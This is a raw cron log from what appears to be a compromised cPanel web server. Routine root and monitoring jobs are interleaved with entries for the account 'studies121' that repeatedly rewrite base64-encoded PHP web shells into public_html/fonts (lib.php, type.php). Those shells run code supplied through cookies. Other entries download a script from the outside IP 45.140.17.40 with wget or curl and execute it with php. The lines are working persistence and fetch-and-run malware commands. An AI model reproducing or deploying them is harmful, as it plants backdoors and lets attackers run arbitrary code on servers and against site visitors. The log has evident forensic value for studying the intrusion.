Sep 22 10:17:01 ip-184-168-122-23 CROND[30854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:17:01 ip-184-168-122-23 CROND[30858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:18:01 ip-184-168-122-23 CROND[31450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:18:01 ip-184-168-122-23 CROND[31452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:18:01 ip-184-168-122-23 CROND[31453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:18:01 ip-184-168-122-23 CROND[31454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:18:01 ip-184-168-122-23 CROND[31456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:19:01 ip-184-168-122-23 CROND[32111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:19:01 ip-184-168-122-23 CROND[32110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:19:01 ip-184-168-122-23 CROND[32112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:19:01 ip-184-168-122-23 CROND[32113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:20:01 ip-184-168-122-23 CROND[375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:20:01 ip-184-168-122-23 CROND[377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:20:01 ip-184-168-122-23 CROND[381]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 10:20:01 ip-184-168-122-23 CROND[384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:20:02 ip-184-168-122-23 CROND[385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:20:02 ip-184-168-122-23 CROND[388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 10:20:02 ip-184-168-122-23 CROND[389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:20:02 ip-184-168-122-23 CROND[387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:20:02 ip-184-168-122-23 CROND[392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:21:01 ip-184-168-122-23 CROND[1052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:21:01 ip-184-168-122-23 CROND[1053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:21:01 ip-184-168-122-23 CROND[1056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:21:01 ip-184-168-122-23 CROND[1057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:22:01 ip-184-168-122-23 CROND[1293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:22:01 ip-184-168-122-23 CROND[1294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:22:01 ip-184-168-122-23 CROND[1300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:22:01 ip-184-168-122-23 CROND[1297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:22:01 ip-184-168-122-23 CROND[1298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:23:01 ip-184-168-122-23 CROND[1431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:23:01 ip-184-168-122-23 CROND[1432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:23:01 ip-184-168-122-23 CROND[1433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:23:01 ip-184-168-122-23 CROND[1437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:24:01 ip-184-168-122-23 CROND[1604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:24:01 ip-184-168-122-23 CROND[1605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:24:01 ip-184-168-122-23 CROND[1608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:24:01 ip-184-168-122-23 CROND[1607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:24:01 ip-184-168-122-23 CROND[1606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:25:01 ip-184-168-122-23 CROND[1773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:25:01 ip-184-168-122-23 CROND[1774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:25:01 ip-184-168-122-23 CROND[1776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:25:01 ip-184-168-122-23 CROND[1777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:25:01 ip-184-168-122-23 CROND[1781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:25:01 ip-184-168-122-23 CROND[1778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:25:01 ip-184-168-122-23 CROND[1783]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 10:26:01 ip-184-168-122-23 CROND[1906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:26:01 ip-184-168-122-23 CROND[1907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:26:01 ip-184-168-122-23 CROND[1910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:26:01 ip-184-168-122-23 CROND[1913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:26:01 ip-184-168-122-23 CROND[1911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:27:01 ip-184-168-122-23 CROND[2136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:27:01 ip-184-168-122-23 CROND[2137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:27:01 ip-184-168-122-23 CROND[2139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:27:01 ip-184-168-122-23 CROND[2141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:28:01 ip-184-168-122-23 CROND[2300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:28:01 ip-184-168-122-23 CROND[2301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:28:01 ip-184-168-122-23 CROND[2304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:28:01 ip-184-168-122-23 CROND[2303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:28:01 ip-184-168-122-23 CROND[2302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:29:01 ip-184-168-122-23 CROND[2422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:29:01 ip-184-168-122-23 CROND[2424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:29:01 ip-184-168-122-23 CROND[2425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
